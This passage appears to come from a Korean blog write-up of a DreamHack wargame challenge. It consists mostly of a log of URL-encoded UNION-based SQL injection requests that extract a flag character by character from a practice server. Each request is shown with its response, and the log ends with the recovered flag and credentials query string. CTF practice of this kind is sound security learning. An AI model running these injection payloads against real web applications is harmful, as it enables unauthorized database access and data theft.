start : 12
end : 12
num : t
rand_num : 13579adeghmntvy


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0lte',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 7
end : 13
num : eghmnvy
rand_num : 13579adeghmnvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltm',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 10
end : 13
num : mnvy
rand_num : 13579adeghmnvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltv',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 12
end : 13
num : vy
rand_num : 13579adeghmnvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0lty',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 13
end : 13
num : y
rand_num : 13579adeghmnvy


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyd',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 6
end : 12
num : deghmnv
rand_num : 13579adeghmnv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyh',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 6
end : 8
num : deg
rand_num : 13579adeghmnv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltye',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 7
end : 8
num : eg
rand_num : 13579adeghmnv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyg',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 7
end : 7
num : e
rand_num : 13579adeghmnv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyed',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 6
end : 11
num : dghmnv
rand_num : 13579adghmnv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyem',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 9
end : 11
num : mnv
rand_num : 13579adghmnv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyen',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 10
end : 11
num : nv
rand_num : 13579adghmnv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyev',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 10
end : 10
num : n
rand_num : 13579adghmnv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 5
end : 10
num : adghmv
rand_num : 13579adghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyenh',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 5
end : 7
num : adg
rand_num : 13579adghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyend',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 5
end : 5
num : a
rand_num : 13579adghmv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyenad',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 4
num : 13579
rand_num : 13579dghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena5',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 1
num : 13
rand_num : 13579dghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena3',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 0
num : 1
rand_num : 13579dghmv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 4
end : 8
num : dghmv
rand_num : 3579dghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1h',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 4
end : 5
num : dg
rand_num : 3579dghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1g',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 4
end : 4
num : d
rand_num : 3579dghmv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1dg',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 3
num : 3579
rand_num : 3579ghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d7',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 2
end : 3
num : 79
rand_num : 3579ghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d9',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 2
end : 2
num : 7
rand_num : 3579ghmv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d7g',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 2
num : 359
rand_num : 359ghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d75',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 0
num : 3
rand_num : 359ghmv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d73h',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 2
num : 59g
rand_num : 59ghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d739',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 1
end : 2
num : 9g
rand_num : 59ghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d73g',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 1
end : 1
num : 9
rand_num : 59ghmv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d739h',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 1
num : 5g
rand_num : 5ghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d739g',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 0
num : 5
rand_num : 5ghmv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d7395m',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 1
num : gh
rand_num : ghmv


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d7395h',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 0
num : g
rand_num : ghmv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d7395gm',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 0
num : h
rand_num : hmv


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ltyena1d7395ghv',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 0
num : m
rand_num : mv


-----------------------------------------------------------
krbjspf4x68iczq2ouw0ltyena1d7395ghmv

 

?id=zairowkdlfhdkel&pw=wkdlfhpw!!%40%25%25%23%40%40%23&flag=krbjspf4x68iczq2ouw0ltyena1d7395ghmv

휴ㅠ

저작자표시

'문제풀이 > DreamHack' 카테고리의 다른 글

[wargame.kr] adm1nkyj (공부 많이 되는 문제!)(컬럼 모르는 상태에서 튜플 구하기!)  (0) 2023.02.10
[DreamHack] weblog-1 풀이  (0) 2022.12.28
[DreamHack] command-injection-1  (0) 2022.12.28
[DreamHack] baby-sqlite 풀이  (0) 2022.12.28
[DreamHack] blind sql injection advanced 문제풀이  (1) 2022.11.24
'문제풀이/DreamHack' Related Articles more